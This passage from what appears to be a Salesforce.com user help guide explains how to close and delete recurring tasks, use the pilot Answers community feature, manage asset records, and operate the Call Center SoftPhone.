and double-byte languages, such as Japanese, Korean, or Chinese, are not supported.
• Select the Send Notification Email checkbox to send a notification email to the task's assignee when
you save the task. To save the current state of the checkbox as your personal default, select Make this the
default setting. For administrative information about the Send Notification Email checkbox, see
Notes on Page Layouts on page 632.
• You cannot change the status of an entire recurring task series. To change the status, you must edit each
occurrence in the recurring series.

5. Click Save.

See Also:
Viewing Tasks
Closing Tasks
Setting Reminders on Activities
Activity Fields

Deleting Recurring Tasks


Available in: All Editions

User Permissions Needed


To delete recurring tasks: “Edit Tasks”

To delete a single task occurrence or an entire task series:

1. Click the subject of the task from any of the following locations:

1214
Activities Closing Tasks

• The My Tasks section of the Home tab


• The calendar day view
• An activities list view
• The Open Activities related list on an associated record
• The Activity History related list on an associated record

2. Do one of the following:

• To delete an individual task occurrence, select the View Task subtab located above the task details, and click Delete
Task.
• To delete a task series, select the View Series subtab, click Delete Series and click OK to confirm the deletion.

Deleted tasks are moved to the Recycle Bin.

Note:
When you delete a task series:

• Closed task occurrences are not deleted.


• Only future task occurrences are placed in the Recycle Bin.
• To restore a series from the Recycle Bin, you must restore each task occurrence. Salesforce.com restores series and
occurrence-specific task details.

See Also:
Creating Tasks
Editing Tasks
Viewing Tasks

Closing Tasks
Available in: All Editions

User Permissions Needed


To edit tasks: “Edit Tasks”

To close tasks:

1. On the My Tasks section of the Home tab or on the My Tasks section of the calendar day view, click X next to the
appropriate task. Alternatively, in the Open Activities related list on an associated record, click Cls next to the appropriate
task.
To close all tasks in a recurring series, you must close each occurrence separately.
2. Click Save to accept the changed Status value.
3. Click Save. The closed task displays in the Activity History related list of the associated record.

1215
Activities Closing Tasks

Note: By default, the status changes to “Completed” when you click X or Cls. However, if your administrator has
customized the task status picklist, then the value changes to the first value for which the Closed checkbox is selected
according to the current order of picklist values. For example, if your administrator has customized the task status
picklist values so that both “Completed” and “Deferred” are defined as Closed and “Deferred” is above “Completed”
in the current order of picklist values, then clicking X or Cls sets the status value to “Deferred.”

See Also:
Viewing Tasks
Editing Tasks
Using the Activity History Related List

1216
ANSWERS

Answers Overview
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Answers tab: “Read” on answers
To vote for replies: “Read” on answers
To create and reply to questions: “Create” on answers
To edit questions and replies: “Edit” on answers
To delete questions and replies “Delete” on answers

Answers is a feature of the Community application that enables users to post questions and have community members provide
answers. Community members can then vote on the helpfulness of each answer.
Note: Answers is currently available through a pilot program. For information on enabling the answers feature, contact
salesforce.com.

The Answers tab lists general information about each question posted to a community, including the name of the user who
created the question and the community where the question resides. From the Answers tab you can:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
• Click New Question to create a new question.
• Click Edit next to a question to modify the question details.
• Click Del next to a question to delete that question including all associated replies.
• Click the question title to open the Question Detail page where you can view replies and the associated votes for that
question.
• In the Community Nickname column, click the name of the user who originally created the question to view the user's
detail page.
• Click the community name to view the Community Detail page.
• Use the Sidebar Search and Advanced Search to help find specific questions.
Sidebar search includes only the titles of questions. However, advanced search also includes the question body and replies.

Note: Customer Portal and partner portal users can only view questions for the communities that are displayed in
their portal. Salesforce.com users see questions for all communities.

1217
Answers Creating and Editing Questions

Only administrators have full read, create, edit, and delete permissions for answers. Standard and portal users only have read
and create permissions by default.

See Also:
Customizing Answers Settings

Creating and Editing Questions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Answers tab: “Read” on answers
To vote for replies: “Read” on answers
To create and reply to questions: “Create” on answers
To edit questions and replies: “Edit” on answers
To delete questions and replies “Delete” on answers

Note: Answers is currently available through a pilot program. For information on enabling the answers feature, contact
salesforce.com.

Creating Questions
To create a new question:
1. Use the search box in the sidebar to make sure your question has not already been posted. Duplicate or very similar questions
in the same community make it difficult for end users to know which question to reply to.
2. On the Answers tab, click New Question. Alternatively, click Question from the Create New drop-down list in the
sidebar.
3. In the Community field, specify the community you want this question to appear in.
4. In the Title field, enter a short, descriptive title for the question.
5. In the Question Body field, enter a detailed explanation of the question. Optionally, use the HTML editor to format
your text.
6. Click Save, or click Save & New to save the current question and add another.
The question you created appears on the Answers tab.

Editing and Deleting Questions


If you have the “Edit” permission on answers, you can edit and delete an existing question:
1. On the Answers tab, click the question title.
2. Click Edit. Alternatively, click Delete to remove the question.
3. Modify the community, title, and body as appropriate.

1218
Answers Displaying and Editing Questions

4. Click Save.

See Also:
Creating and Editing Communities
Answers Overview

Displaying and Editing Questions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Answers tab: “Read” on answers
To vote for replies: “Read” on answers
To create and reply to questions: “Create” on answers
To edit questions and replies: “Edit” on answers
To delete questions and replies “Delete” on answers

Note: Answers is currently available through a pilot program. For information on enabling the answers feature, contact
salesforce.com.

Once you have located a question on the Answers tab, click the question title to display its details. On the Question Detail
page, you can:

• Click Edit to modify the question title or body.


• Click Delete to remove the question and all associated replies from the community.
• View whether the question has been successfully answered.
A question can have numerous replies, but only one reply can be marked as the best answer. When a reply is marked as
the best answer, the Answered field is checked on the Question Detail page and the Best Reply field includes a link
to the best answer.
• Click Mark as Not Answered to clear the current best answer. This button only displays if a reply has already been marked
as the best answer.
Only the Salesforce.com administrator and the user who posted the question can mark it as not answered.
• Use the Replies related list to see all the replies posted for the question.

See Also:
Answers Overview

1219
Answers Viewing and Editing Replies

Viewing and Editing Replies


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Answers tab: “Read” on answers
To vote for replies: “Read” on answers
To create and reply to questions: “Create” on answers
To edit questions and replies: “Edit” on answers
To delete questions and replies “Delete” on answers

Note: Answers is currently available through a pilot program. For information on enabling the answers feature, contact
salesforce.com.

Viewing Replies
When you see a question that interests you on the Answers tab, click the question title to view a list of all the associated
replies in the Replies related list. You can then click the reply body to view the reply detail page and the Votes related
list.

Editing and Deleting a Reply


You can edit and delete a reply from the Replies related list and from the reply detail page.
When you delete a reply, all the associated votes are also deleted.

Replying to a Question

To reply to a question:

1. From the Answers tab, click the question title you want to reply to.
2. In the Replies related list, click New Reply.
3. Enter your reply in the space provided. Optionally, use the HTML editor to format your text.
4. Click Save.

Your reply is posted to the top of the Replies related list. You can reply multiple times to the same question.

Voting for a Reply


Votes identify the replies that have the most helpful (or unhelpful) information. If you think a reply is particularly useful,
click Vote Up to identify the reply as helpful. Or if you are confused by a reply because it has incorrect or vague information,
click Vote Down to identify it as unhelpful.
To vote on a reply:

1. From the Answers tab, click the question that has the reply you find helpful or unhelpful.
2. From the Replies related list, click the appropriate reply.

1220
Answers Customizing Answers Settings

3. Click Vote Up or Vote Down.


Your vote appears in the Votes related list on the reply detail page and the Replies related list on the question detail
page.

Note the following about voting:

• You cannot vote on your own reply.


• You cannot vote for the same reply more than once.
• You cannot change your vote.

Marking a Reply as the Best Answer


After you post a question and receive some replies, you can identify the reply that best answers your question. This helps
community members know which reply most likely provides the best information. Each question can have only one best
answer.
Only the Salesforce.com administrator and the user who posted the question can mark a reply as the best answer.
1. From the Answer tab, click the title of your question.
2. From the Replies related list, click the best reply. Use the Up Votes column to help identify the reply that community
members felt provided the best answer to your question.
3. Click Mark as Best Answer.
Once you identify a reply as the best answer, the Best Reply field on the Question Detail page identifies this reply
as the best answer.

After marking a reply as the best answer:

• Community members can continue to post and vote for replies.


• If another reply that you like better is posted in the future, you can mark that reply as the new best answer.
• To clear a question so it no longer has a reply marked as the best answer, go to the Question Detail page and click
Mark as Not Answered.

See Also:
Answers Overview

Customizing Answers Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize answers settings: “Customize Application”

Answers is a feature of the Community application that enables users to post questions and have community members provide
answers. Community members can then vote on the helpfulness of each answer.

1221
Answers Viewing Replies Lists

Note: Answers is currently available through a pilot program. For information on enabling the answers feature, contact
salesforce.com.

To enable the answers feature:


Note: You cannot disable answers once it has been enabled.

1. Click Setup ➤ Customize ➤ Answers ➤ Settings.


2. Click Edit.
3. Use the Enable Answers checkbox to enable this feature for your organization.
Enabling answers displays the Answers tab in the Community application and shows active communities in the end user
interface.
4. Click Save.

See Also:
Answers Overview
Creating and Editing Communities

Viewing Replies Lists


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view replies: “Read” on answers

Note: Answers is currently available through a pilot program. For information on enabling the answers feature, contact
salesforce.com.

The replies list page displays a list of replies for a specific question. From this page, you can view detailed reply information
and access related information.

• Click a reply body to view the detail. Click Edit or Del to edit or delete the reply.
• Click Printable View to display the current list view in a format that is ready for printing.
• Click any column heading to sort the replies using that column’s information. For example, to view the replies with the
most up votes, click the Up Votes column.
• Click the Next Page (or Previous Page) link to go to the next or previous set of replies.

1222
Answers Using the Replies Related List

• At the bottom of the list view, select fewer or more to view a shorter or longer display list.

See Also:
Answers Overview
Viewing and Editing Replies

Using the Replies Related List


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create a reply: “Create” on answers
To edit a reply: “Edit” on answers
To delete a reply: “Delete” on answers

Note: Answers is currently available through a pilot program. For information on enabling the answers feature, contact
salesforce.com.

The Replies related list displays the five most recent replies for a specific question and includes general information about each
reply, such as the number of community members who found the reply helpful or unhelpful and the community nickname of
the user who posted the reply. This related list appears on the questions detail page.
From the Replies related list:

• Click New Reply to post a reply to the question.


• Click Edit to modify the reply.
• Click Del next to a reply to delete it from the question. All votes associated with the reply are also deleted.
• Click the reply body to view the reply detail page.
• Click Go to list at the bottom of the list to display the reply list page. By default, Go to list only appears when more than
five replies have been posted.

See Also:
Answers Overview
Viewing and Editing Replies

1223
Answers Using the Votes Related List

Using the Votes Related List


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view votes: “Read” on answers
To delete votes: “Delete” on answers

Note: Answers is currently available through a pilot program. For information on enabling the answers feature, contact
salesforce.com.

The Votes related list displays all the votes that have been cast for a specific reply. From this related list you can:

• Click Del to delete the vote.


• View the vote type.
An up vote shows when a user has found the reply helpful, and a down vote shows when a user has found the reply unhelpful.
• View the community nickname of the user who cast the vote. You can also click on the nickname to view the user's detail
page.

See Also:
Answers Overview
Viewing and Editing Replies

Viewing Votes Lists


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view votes: “Read” on answers
To delete votes “Delete” on answers

Note: Answers is currently available through a pilot program. For information on enabling the answers feature, contact
salesforce.com.

The votes list page displays a list of votes for a specific question. From this page, you can view detailed vote information and
access related information.

1224
Answers Viewing Votes Lists

• Click Del to delete a vote from this question.


• Click any column heading to sort the votes using that column’s information. For example, to group all up and down votes
together, click the Type column.
• Click the community nickname link to view information about the user who cast the vote.
• Click Printable View to display the current list view in a format that is ready for printing.
• Click the Next Page (or Previous Page) link to go to the next or previous set of contacts.
• At the bottom of the list view, select fewer or more to view a shorter or longer display list.

See Also:
Using the Votes Related List

1225
ASSETS

Assets Overview
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

While products represent the items that your company sells, assets represent the specific products your customers have purchased,
including a serial number, date of purchase, or any other information related to an individual sale. Depending on how your
organization uses assets, they can represent a competitor product that your customer has or versions of your products.
Use assets to store specific information about the products your customers have. Depending on your page layouts, you can
view asset related lists on your account, contact, and product page layouts.

See Also:
Getting Started with Assets
Viewing Asset Lists
Administrator tip sheet: Getting Started with Assets

Getting Started with Assets


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

If your organization has enabled products, assets are automatically enabled for your organization. However, administrators
still need to customize their organization before users can begin using assets. To implement assets for your organization:

• Add the Assets related list to account, contact, and product page layouts. Users can create new assets from these related
lists. See Customizing Page Layouts on page 620 for instructions on changing page layouts.
• Add the Cases related list to the appropriate product and asset page layouts.
• Add the Asset field to your case page layouts. Consider changing the field-level security for the Asset field so that it
displays or is required if necessary for your business. See Setting Field-Level Security on page 217 for instructions on
changing field-level security.
• By default, your users have “Read,” “Create,” “Edit,” and “Delete” permissions on assets. If necessary, revise these permissions
for your user profiles. Without the “Read” permission on assets, users will not see any assets or asset related lists in
Salesforce.com. See Managing Profiles on page 142 for information on these profile permissions.
• Optionally, customize asset fields and page layouts by clicking Setup ➤ Customize ➤ Assets.

1226
Assets Viewing Asset Lists

Viewing Asset Lists


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view assets: “Read” on assets
To change assets: “Edit” on assets

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

Display a list of assets by going to the Products tab and clicking a view from the Asset Views section. From any assets view,
you can view detailed asset information and access related information.

• Click an asset name to view detailed information of the asset. See Displaying and Editing Assets on page 1228.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit to change asset details. See Displaying and Editing Assets on page 1228.
• Click any column heading to sort the assets in ascending order using that column’s information. Click the heading a second
time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of assets.
• At the bottom of the list view, select fewer or more to view a shorter or longer display list.

See Also:
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

1227
Assets Displaying and Editing Assets

Displaying and Editing Assets


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view assets: “Read” on assets
To change assets: “Edit” on assets

You can display an asset from the Products tab or a related account or contact.
Displaying Assets
Once you have located an asset from a related list or the products home or list pages, click the name to display detailed
information.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.

Editing Assets
To update asset details, click Edit, and then change the field you want to update. When you have finished, click Save.
Note: If your organization enabled inline editing, you can edit fields directly on the detail page.

Tagging Assets
If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

Asset Related Lists


Below the asset detail are related lists that include information about associated cases, activities, or notes and attachments.
The related lists you see are determined by your personal customization and any customization your administrator has
made to page layouts. You can click on individual items to display additional information about them. Click more at
the bottom of the page or View More below a related list to display more items.
Note: If enabled by your administrator, related list hover links display at the top of each detail page. Hover your
mouse over a related list hover link to display the corresponding related list and its number of records in an
interactive overlay that allows you to quickly view and manage the related list items. You can also click a related
list hover link to jump down to the content of the related list without having to scroll down the page.

Printing Assets
To open a printable display of all information for a record, click Printable View on the detail page.

1228
Assets Creating Assets

To return to the last list page you viewed, click Back to list at the top of the asset detail page. If your organization has enabled
collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page.
See Navigating on page 42 for more information.
You can enter person accounts in either the Account or Contact fields of an asset. The Assets related list on a person account
includes all assets related to the person account, including those where the person account is in the Contact field. See What
is a Person Account? on page 1125.
Note: Users can view an asset if they can view the account or contact listed on the asset. However, sharing settings
may prevent users from viewing the account associated with the contact on the asset.

See Also:
Asset Fields
Creating Assets
Cloning Assets
Deleting Assets
Searching for Assets

Creating Assets
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view assets: “Read” on assets
To create assets: “Create” on assets

Administrators and users with the “Create” permission on assets can create new assets.
1. Click New on the Assets related list of an account, contact, or product. This action automatically inserts the account name,
contact name or product name, depending on the record you selected when you clicked New.
2. To associate the asset with a product, enter the exact product name. If the product name is unique, Salesforce.com
automatically inserts this name in the Asset Name field.
If you do not know the name of the product:

a. Click the Product lookup icon if the asset is based on a product.


b. Enter a search filter to find a current product, and click Go!. See Entering Filter Criteria for information on filtering
information.
c. Select the appropriate product. Salesforce.com automatically inserts the selected product name in the Asset Name
field.

3. Enter a name for the asset.

1229
Assets Cloning Assets

4. Choose the account or contact for the customer who has purchased the asset.
If necessary, you can choose both an account and a contact that are not related. The asset will display on the contact selected
on the asset as well as the account selected on the asset, however, it will not display on the account of the contact. If you
only choose a contact, the asset will display on both the contact and the contact's account.
5. To create an asset for a competitor’s product, check Competitor Asset.
6. Click Save.

You can enter person accounts in either the Account or Contact fields of an asset. The Assets related list on a person account
includes all assets related to the person account, including those where the person account is in the Contact field. See What
is a Person Account? on page 1125.

See Also:
Asset Fields
Cloning Assets

Cloning Assets
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view assets: “Read” on assets
To create and clone assets: “Create” on assets

Use the Clone button on an asset to quickly create a new asset with the same information as the selected asset. To clone an
asset for your organization:

1. Click Clone on an existing asset.


2. Enter or change any information for the new asset.
3. Click Save.

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Asset Fields

1230
Assets Asset Fields

Asset Fields
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

An asset has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

Field Description
Asset Division Division to which the asset belongs. This value is automatically
inherited from the related account if any. Otherwise the value
is inherited from the related contact. Available only in
organizations that use divisions to segment their data.
Asset Name Identifying name for the asset. If you select a product from
the product lookup, this name is automatically populated with
the product name.
Account Account associated with the asset. Each asset must be
associated with an account or contact.
Contact Contact associated with the asset. Each asset must be
associated with an account or contact. If you choose both an
account and contact, they do not need to be related to each
other. Contacts that are not associated with an account cannot
be linked to assets.
Competitor Asset Checkbox to indicate if the asset represents a competitor’s
product. Use assets to track what customers have your
competitor’s products using this checkbox.
Description Text that distinguishes this asset from others.
Install Date Date the customer installed the asset.
Price Amount the customer paid for the asset.
Product The product on which the asset is based.
Purchase Date Date the customer bought the asset.
Quantity The number of assets purchased.
Serial Number The model number on the asset.
Status State of the asset.

1231
Assets Deleting Assets

Field Description
Usage End Date The date the asset expires or the last date it is under warranty.
Use this field to store whatever date is appropriate for your
business.

See Also:
Displaying and Editing Assets
Creating Assets
Cloning Assets

Deleting Assets
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view assets: “Read” on assets
To delete assets: “Delete” on assets
To recover deleted assets: “Delete” on assets

Since assets are related to account and contact records, you can delete them from those records or individually using the
Products tab. Before you delete an asset, review the following scenarios:

• Is the asset associated with a case?


Assets associated with cases cannot be deleted. This includes deleting an account or contact record that is associated with
an asset listed on a case.
• Is the asset associated with a product?
When an asset is based on a product, deleting the product does not delete the asset.
• Is the asset associated with an account or contact?
If you delete an account or contact, all associated assets are also deleted and moved to the Recycle Bin.
Note that if you delete an account with a related contact that is associated with an asset, all three records are deleted. To
restore all three records, restore the account record.

Note: You can delete an asset individually without deleting any related record. However, if you later delete the related
record, you cannot recover the asset from the Recycle Bin.

To delete an asset:

1232
Assets Searching for Assets

1. Locate the asset on the Assets related list of an account or contact, or on an asset list view from the Products tab.
2. Click Del next to the asset you want to delete.
3. Click OK.

See Also:
Recycle Bin
Deleting Mass Data

Searching for Assets


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view assets: “Read” on assets

To find specific assets:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
3. From the list of search results, select an entry to jump directly to that item or click Edit to edit it.

You can also create an asset list view from the Products tab to find assets that match specific criteria.

See Also:
Search Overview

1233
CALL CENTER

What is Salesforce CRM Call Center?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Salesforce CRM Call Center seamlessly integrates Salesforce.com with third-party computer-telephony integration (CTI)
systems. After a lightweight CTI adapter program has been installed on a Salesforce.com user's machine, the user can use the
features of a CTI system through the Salesforce.com SoftPhone, a customizable call control tool that appears in the sidebar
of every Salesforce.com page.
The SoftPhone allows Salesforce.com users to:

• Make calls by dialing a number in the SoftPhone, choosing a number in an online directory, or clicking a phone number
in any contact, lead, activity, or account
• Receive calls
• Quickly view all Salesforce.com records that are related to the call, such as contacts, cases, or accounts
• Transfer calls
• Initiate conference calls
• Put callers on hold
• Attach records to calls
• Generate automatic call logs

Administrators can configure Salesforce CRM Call Center by:

• Modifying SoftPhone layouts and assigning them to selected user profiles


• Adding phone numbers to call center directories

Developers can use Salesforce CRM Call Center code libraries to:

• Customize the functionality of existing CTI adapters


• Build new CTI adapters for phone systems that are not yet supported

For information on working with Salesforce CRM Call Center as a call center user, see Using the SoftPhone on page 1237.
For information on deploying and customizing Salesforce CRM Call Center as an administrator, see Setting Up Salesforce
CRM Call Center on page 1252.
For information on customizing and building CTI adapters as a developer, see the CTI Toolkit Developer's Guide.

See Also:
Salesforce CRM Call Center System Requirements
Deploying Adapters to Call Center Machines
Tip sheet: Getting Started with your SoftPhone
Administrator tip sheet: Getting Started with Setting Up Call Centers
Developer guide: CTI Toolkit Developer's Guide

1234
Call Center About SoftPhones

About SoftPhones
Available in: Professional, Enterprise, Unlimited, and Developer Editions

A SoftPhone is a customizable call control tool that appears in the sidebar of every Salesforce.com page if a user is assigned
to a call center and is working on a machine on which a CTI adapter has been installed. Although SoftPhones can be extensively
customized by Salesforce.com administrators and developers, most SoftPhones include the following components, as illustrated
in this screen shot:

Call center state area


This area includes a drop-down list that allows a user to specify whether he or she is ready to receive calls. For information,
see Changing Your Call Center State on page 1239.

1235
Call Center Salesforce CRM Call Center System Requirements

Phone line header


This area displays the status of the phone line, both with a status icon that changes colors and blinks ( ), and a text
description. Users can click the name of the line (“Line 1”) to show or hide the line's dial pad and call information area.

Call information area


This area displays data related to the call, such as the phone number from which the customer dialed, the duration of
the call, and links to any Salesforce.com records that are associated with the call.

Call button area


This area displays buttons that allow a user to execute call commands, such as dialing, hanging up, putting a caller on
hold, transferring, conferencing, and opening up a second line while on a call. For information, see Using the SoftPhone
on page 1237.

Current call log area


This area displays log information for the call. By default, the Subject field includes the date and time of the call, but
users can edit this field as desired. The Name field allows users to specify a related contact, lead, or person account, while
the Related To field allows them to attach an additionalSalesforce.com record to the call log once the call ends. Users
can enter additional information about the call in the Comments text box. Call logs are saved in an activity record that
can be retrieved from the recent calls area of the SoftPhone, or the Activity History related list of the associated records.
For information, see Creating Call Logs in the SoftPhone on page 1248.

Recent calls area


This area displays saved logs for calls that have recently completed. Click a log's Subject link to open the call log's
details page, or a log's Name or Related To link to open the associated record. Click Edit to reopen a call log for
editing in the SoftPhone window.

My Calls Today report


This link opens a report of all calls that you have made or received in the last day.

SoftPhone logo
This area displays a logo that can be customized for each CTI adapter.

See Also:
What is Salesforce CRM Call Center?
Using the SoftPhone
Tip sheet: Getting Started with your SoftPhone

Salesforce CRM Call Center System Requirements


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Salesforce CRM Call Center requires the installation of a light-weight computer-telephony integration (CTI) adapter on
every Salesforce.com user's machine. The minimum system requirements for this adapter are:

• Internet Explorer 7.0 or later; Firefox 3.5 or later (Safari is not supported)

1236
Call Center Using the SoftPhone

• Windows XP
• 256 MB of RAM (512 MB recommended)
• 20 MB disk space minimum
• P2 500Mhz processor or above

See Also:
What is Salesforce CRM Call Center?
Using the SoftPhone
Setting Up Salesforce CRM Call Center
Tip sheet: Getting Started with your SoftPhone
Administrator tip sheet: Getting Started with Setting Up Call Centers

Using the SoftPhone


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view and use the SoftPhone: Member of a call center

The Salesforce CRM Call Center SoftPhone appears in the left side bar of your Salesforce.com window. You can use it to
perform the following functions:

• Log in to your call center


• Modify your call center state to show whether you are ready to receive a new call
• Dial a phone number by using the built-in SoftPhone, or by clicking the icon next to any phone number associated
with a contact, lead, activity, or account
• Look up a phone number in your custom call-center directory
• Answer a phone call from another call center user or an external number
• Put a caller on hold
• Initiate a conference call with another call center user or an external number
• Transfer a phone call to another call center user or an external number
• Add comments to or associate Salesforce.com records with an automatic call log to quickly record information related to
a call
• Edit personal Salesforce CRM Call Center settings to customize the behavior of your SoftPhone

Note: The sidebar cannot be collapsed if you are a Salesforce CRM Call Center user.

1237
Call Center Logging In to the SoftPhone

Note: Some Salesforce CRM Call Center features that are described in this help system may not be available with
your SoftPhone because of customizations that have been made for your organization. See your administrator for
details.

See Also:
What is Salesforce CRM Call Center?
Salesforce CRM Call Center System Requirements
About SoftPhones
Wrapping Up a Call Using the SoftPhone
Tip sheet: Getting Started with your SoftPhone

Logging In to the SoftPhone


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To log in to Salesforce CRM Call Center: Member of a call center

Salesforce CRM Call Center requires you to first log in to Salesforce.com and then to log in separately to your organization's
phone system. The phone system login is located in the sidebar and only appears if you are:

• Assigned to a call center in Salesforce.com


• Using a machine on which an appropriate CTI adapter is installed. (You can quickly verify that an adapter is installed by
looking for the icon in the system tray of your computer. The system tray is located next to the clock in the lower-right
corner of your monitor.)

If a phone system login does not appear, contact your administrator.


Depending on the phone system that your organization uses, the login prompts you to enter your user ID, password, and other
credentials. Once you have entered these values, click Log In to complete the connection to your phone system.
To automatically log in to your phone system without having to click the Log In button:

1. Click Setup ➤ Call Center Settings ➤ My SoftPhone Settings.


2. Select Automatically log in to your call center when logging into Salesforce.com. Once you
have logged in to your phone system once, Salesforce.com remembers your login information and automatically makes a
connection to your phone system whenever you log in to Salesforce.com.

Note: If you explicitly log out of the phone system at any time while you are logged in to Salesforce.com, automatic
log in is turned off for the remainder of your Salesforce.com session. To reenable automatic log in, log out of
Salesforce.com and then log back in.

1238
Call Center Changing Your Call Center State

After logging in to a phone system, your call center state is automatically set to Not Ready for Calls. If you want to receive
calls, you must change your call center state to Ready for Calls.

See Also:
Using the SoftPhone
Salesforce CRM Call Center System Requirements
Tip sheet: Getting Started with your SoftPhone

Changing Your Call Center State


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change your call center state: Member of a call center

While logged in to Salesforce CRM Call Center, there may be times when you do not want to receive calls on your SoftPhone,
or when you need to step away from your desk. To avoid receiving calls when you do not want them, you can set your call

center state next to the icon in the SoftPhone. Possible values for call center state include:

Call Center State Description


Ready for Calls You are not currently on a call, and you are prepared to receive
the next direct or queued call.
Not Ready for Calls You are not currently on a call, and you are not prepared to
receive the next queued call.
In this state you can still receive calls that are dialed directly
to your extension.

On a Call You are currently connected to a caller and cannot receive


either a direct or a queued call.
Wrap-Up You are currently on a call, and you wish to go directly to the
Not Ready for Calls state when the call is complete.
Log Out You want to log out from your call center phone system and
remain logged in to Salesforce.com. After selecting this option,
Salesforce CRM Call Center automatically closes the
connection to your call center and displays the SoftPhone
login screen.

When you first log in to Salesforce CRM Call Center, your call center state is automatically set to Not Ready for Calls. You
must choose Ready for Calls from the drop-down list before you can receive any calls.

1239
Call Center Making a Call Using the SoftPhone

Note: Some Salesforce CRM Call Center features that are described in this help system may not be available with
your SoftPhone because of customizations that have been made for your organization. See your administrator for
details.

See Also:
Using the SoftPhone
Logging In to the SoftPhone
Making a Call Using the SoftPhone
Wrapping Up a Call Using the SoftPhone
Tip sheet: Getting Started with your SoftPhone

Making a Call Using the SoftPhone


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To make a call: Member of a call center

In Salesforce CRM Call Center there are three ways to make a call:

• Making a Call by Dialing a Number Manually


• Making a Call Using the Call Center Directory
• Making a Call Using Click-to-Dial

While on a call, you can also make a call on a second phone line by clicking New Line. The new line allows you to enter a
new phone number while remaining connected to your original caller. Once you click Dial, your original call is placed on hold,
and your new call begins.
Note: If you make a call while your call center state is set to Ready for Calls, your state moves directly to Not Ready,
and you must enter Not Ready reason codes if this is enabled for your call center.

To end a call that you just dialed, click End Call.


Note: Some phone systems do not allow you to end a call from a SoftPhone before it is answered. In these cases, an
End Call button is not displayed, and you must use your physical phone set to terminate the call.

If a number you dial is busy, a message appears and you have the option to dial again or cancel the call.

1240
Call Center Making a Call Using the SoftPhone

Note: Some Salesforce CRM Call Center features that are described in this help system may not be available with
your SoftPhone because of customizations that have been made for your organization. See your administrator for
details.

See Also:
Using the SoftPhone
Putting a Caller on Hold Using the SoftPhone
Making a Conference Call Using the SoftPhone
Transferring a Call Using the SoftPhone
Wrapping Up a Call Using the SoftPhone
Tip sheet: Getting Started with your SoftPhone

Making a Call by Dialing a Number Manually


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To make a call: Member of a call center

To make a call in Salesforce CRM Call Center by manually dialing a number:

1. In the SoftPhone, click the name of the open line that you want to use. This action opens the dial pad for that line.
2. Enter the phone number that you want to dial by clicking the number buttons on the dial pad, or by typing numbers on
your keyboard.
3. Click Dial or press the Enter key on your keyboard.

Note: Some Salesforce CRM Call Center features that are described in this help system may not be available with
your SoftPhone because of customizations that have been made for your organization. See your administrator for
details.

See Also:
Using the SoftPhone
Making a Call Using the Call Center Directory
Making a Call Using Click-to-Dial
Tip sheet: Getting Started with your SoftPhone

1241
Call Center Making a Call Using the SoftPhone

Making a Call Using the Call Center Directory


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To make a call: Member of a call center

To make a call in Salesforce CRM Call Center using the call center directory:

1. In the SoftPhone, click the name of the open line that you want to use. This action opens the dial pad for that line.
2. Click next to the dial pad to open your call center directory.
3. Use the directory to locate the number that you want to dial.
4. When you have found the number, click the name associated with the number to automatically enter the number into the
dial pad.
5. Click Dial or press the Enter key on your keyboard.

Note: Some Salesforce CRM Call Center features that are described in this help system may not be available with
your SoftPhone because of customizations that have been made for your organization. See your administrator for
details.

See Also:
Using the SoftPhone
Making a Call by Dialing a Number Manually
Making a Call Using Click-to-Dial
Tip sheet: Getting Started with your SoftPhone

Making a Call Using Click-to-Dial


Available in: Professional, Enterprise, Unlimited, and Developer Editions

